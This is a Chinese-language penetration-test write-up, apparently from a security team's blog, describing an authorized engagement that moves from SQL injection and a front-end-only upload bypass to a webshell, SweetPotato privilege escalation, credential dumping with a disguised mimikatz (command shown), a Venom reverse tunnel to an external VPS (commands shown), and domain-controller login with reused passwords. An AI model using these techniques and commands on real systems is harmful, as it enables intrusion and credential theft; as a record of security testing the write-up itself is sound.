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从SQL注⼊到幸运域控

这是  酒仙桥六号部队  的第  3 7  篇⽂章。

全⽂共计 2 1 2 4个字，预计阅读时⻓ 8分钟。

背景背景背景背景背景背景背景背景背景背景背景背景背景背景背景

在某个午后，接到上级的任务需要对某个授权的⽬标进⾏渗透测试，于是磨⼑霍霍向⽜

⽺。

寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝寻找突破⼝

由于这次给的⽬标范围很窄，只有两个域名跟两个 I P，本来以为突破⼝不是那么好搞

到，但拿到⽬标站点打开⼀看，⼼⾥稍微松了⼀⼝⽓，通过站点的氛围来看，应该是个

运⾏很多年的系统了。第⼀步，信息收集⾛⼀遍，端⼝扫描、⽹站敏感⽬录和⽂件、指

纹识别、站点分析 . . . . . .信息并不是太多

通过前期的信息收集⼯具加⼿⼯的疯狂点点点，最终汇总成⼀份信息收集的表格，仔细

的对已有信息作了筛选，在其中挑选出了两个需要重点关注的地⽅，⼀个地⽅通过⽬录

爆破出来的后台管理系统，另⼀个是 x x参数的地⽅。

先是对后台管理系统做了⼿动猜⼀猜，⽆果，没有验证码，换上平时收集整理的字典，

爆破⼀波，⽆果。测试⼀波注⼊，依旧⽆果。
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看来我的缘分不在此处，先放⼀下，回过头来看看之前找到的 x x参数的位置。

常规的⼿法探测了下 s q l注⼊，出现报错，⽽且还是⾮常熟悉的画⻛，⼼⾥⼀喜。

由于⽬标站点上并没有⼀些W A F之类的防护，这⾥直接上 s q l m a p直接去跑⼀波，看看

能不能直接搞定，经过⼀杯茶的时间，结果出来了，数据库是o r a c l e。
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通过这个注⼊点，费了⽼⼤的劲在数据库中翻到了后台管理系统的登录名跟密码，由于

密码是加密的，使⽤密码 c m d 5解密⼀下，运⽓不错，拿到明⽂密码。

通过⽤户名跟解密出来的密码，成功登录管理员后台。

到这⼀步我们已经通过S Q L注⼊进⼊了⽹站的后台，接下来我们需要通过后台来看看能

不能搞到⼀个 s h e l l。

上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l上传拿到 she l l
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在后台对每个功能模块进⾏分析，仔细查看有没有像头像吧，上传图⽚这类的地⽅，看

看能不能有什么收获，⽇站⽇多了就有感觉了，后台的⼤部分突破点会在这⼀⽅⾯上，

⼏乎不⼤⼀会⼉我就看到⼀个 x x发布信息的功能，看到这种功能，肯定得测⼀测说不定

突破点就在这⾥呢！

仔细查分析了⼀下这⾥的功能，发现有个上传封⾯跟资质图⽚的地⽅，上传封⾯就是上

传图⽚嘛！遇到这种情况肯定不能⼿软，⽤准备好的⻢先来⾛⼀波，把 a s p⽊⻢后缀改

成 j p g进⾏上传 ,直接上传，不成功 . . . . . .

不成功，没关系先来看看问题到底出在哪⾥，逐⼀的去测试看看能不能有所突破，经过

测试，发现这⾥只做了前端验证，因此⽤ b u r p s u i t e拦截把 j p g改成 a s h x后缀然后上

传，由于有两处地⽅，⼀个上传封⾯，⼀个是资质图⽚，因此两处上传都⼀样改成 a s h x

后缀即可上传成功。

点击F o r w a r d，逐步放包，留意上传后的路径，可以看到路径出来了。
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提取⼀下路径，拼接后直接访问，可以看到成功解析。

接下来换上中国菜⼑，填⼊链接，直接连，⾄此拿到⽹站的 s h e l l权限。
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甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权甜⼟⾖提权

在虚拟终端中，使⽤w h o a m i ,查看当前的权限，是⼀个普通域⽤户，且操作系统版本是

w i n d o w s  s e r v e r  2 0 0 8 R 2。

输⼊ n e t s t a t  - a n o查看开放了哪些端⼝，可以看到3 3 8 9端⼝是开放的，这样我就想看

看能不能直接搞到密码后远程连接上它。

这⾥先使⽤ S w e e t P o t a t o . e x e甜⼟⾖来提权，可以成功提权，在可以提权的情况下，

⽅便之后直接使⽤m i m i k a t z抓取密码。
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猕猴桃抓取密码

准 备 好 免 杀 的 m i m i k a t z ， 改 成 c h r o m e s . e x e 扔 上 去 ， 使 ⽤ 命 令 c h r o m e s . e x e  

" p r i v i l e g e : : d e b u g "  " s e k u r l s a : : l o g o n p a s s w o r d s "抓取密码，输出到 t x t⽂本中，

打开后可以看到m i m i k a t z抓取的结果。
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把抓到的N T L M拿到 c m d 5去解密⼀下，成功拿到a d m i n i s t r a t o r的密码。
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⽤获取到的密码登录服务器，可以看到成功登录。

建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道建⽴隧道

⽬ 前 已 知 的 信 息 为 ， 当 前 ⽤ 户 x x x 为  a d m i n i s t r a t o r  权 限 ， w i n d o w s  s e r v e r  

2 0 0 8 R 2，

机器可通外⽹，同时为内⽹机器。接下来扔⼀个毒液上去，⽤来把内⽹的流量代理出

来。

把 v e n o m的 a d m i n端跟 a g e n t端分别上传到⾃⼰公⽹的 v p s和被控的w i n d w o s服务器

上。
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使⽤如下命令启动 a d m i n监听端⼝，并在 a g e n t端发起连接，建⽴后可以使⽤ g o t o  1进

⼊⽬前被控w i n d w o s机器的节点。

. / a d m i n . e x e  - l p o r t  6 6 6 6

. / a g e n t . e x e  - r h o s t  y o u r _ v p s  - r p o r t  6 6 6 6

再使⽤命令 s o c k s  6 7 6 7，建⽴到W i n d o w s服务器节点的 s o c k s 5代理，最后在本地使

⽤p r o x i f i e r输⼊ v p s的 i p跟刚设置的6 7 6 7端⼝即可在本地直接访问内⽹资源。
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这样我们就可以直接访问内⽹资源了。由于⾛的是全局的流量，使⽤本地的⼯具开始对

内⽹做⼀些探测，确定下⼀步前进的路线，收集了⼀批内⽹资产，发现⼀些服务且通过

弱⼝令也登录到部分后台，但发现这种⼀个⼀个的去搞效率太慢。想到之前抓到的密

码，看看能不能从另⼀个⻆度前进。

登录域控登录域控登录域控登录域控登录域控登录域控登录域控登录域控登录域控登录域控登录域控登录域控登录域控登录域控登录域控

由于之前使⽤m i m i k a t z抓到了⼀批密码，在⼀般情况下，内⽹的这些密码都会存在多个

机器使⽤相同密码的情况，甚⾄域控的密码都⼀样。这样不管是哈希传递还是说直接⽤

抓到的明⽂去批量撞内⽹的机器，都可以快速获取战果的。这⾥先不着急，先做⼀个域

内信息的收集。这⾥只放⼏张关键的图和步骤 . . . . .

使⽤ n e t  g r o u p  " D o m a i n  C o n t r o l l e r s "  / D o m a i n  查看了⼀下域控制器，发现有三

台，应该是主备域控，多余出来的暂时不知道是作何⽤途的，接着查询域管机与域管⽤

户。

使⽤ n e t  g r o u p  " d o m a i n  a d m i n i s "  / d o m a i n  查询发现多个域管⽤户，突然看到之

前使⽤m i m i k a t z抓到过其中域管的密码。这样看来应该是域管登录过本台机器。
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使⽤p i n g命令找到域控的 i p。

试着直接使⽤m i m i k a t抓取得到的域管密码去登陆  x x x - D C，尝试登录，发现直接能登

陆！
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做到这⼀步的时候，项⽬的预期效果已经达到，因此并没有继续下去，后续的⾏为被 “叫

停 ”。

总结总结总结总结总结总结总结总结总结总结总结总结总结总结总结

这是⼀次平常的任务记录，也可以说是⽐较幸运的⼀次项⽬经历。从S Q L注⼊到上传再

到最后拿到域控，从⼀个⼩⼩的⼝⼦，拿到 s h e l l，到最后的直捣⻩⻰。平时多搞站，多

总结复盘，在技术的路上才能不断地攀升，正所谓，抬头看路，低头⼲活！
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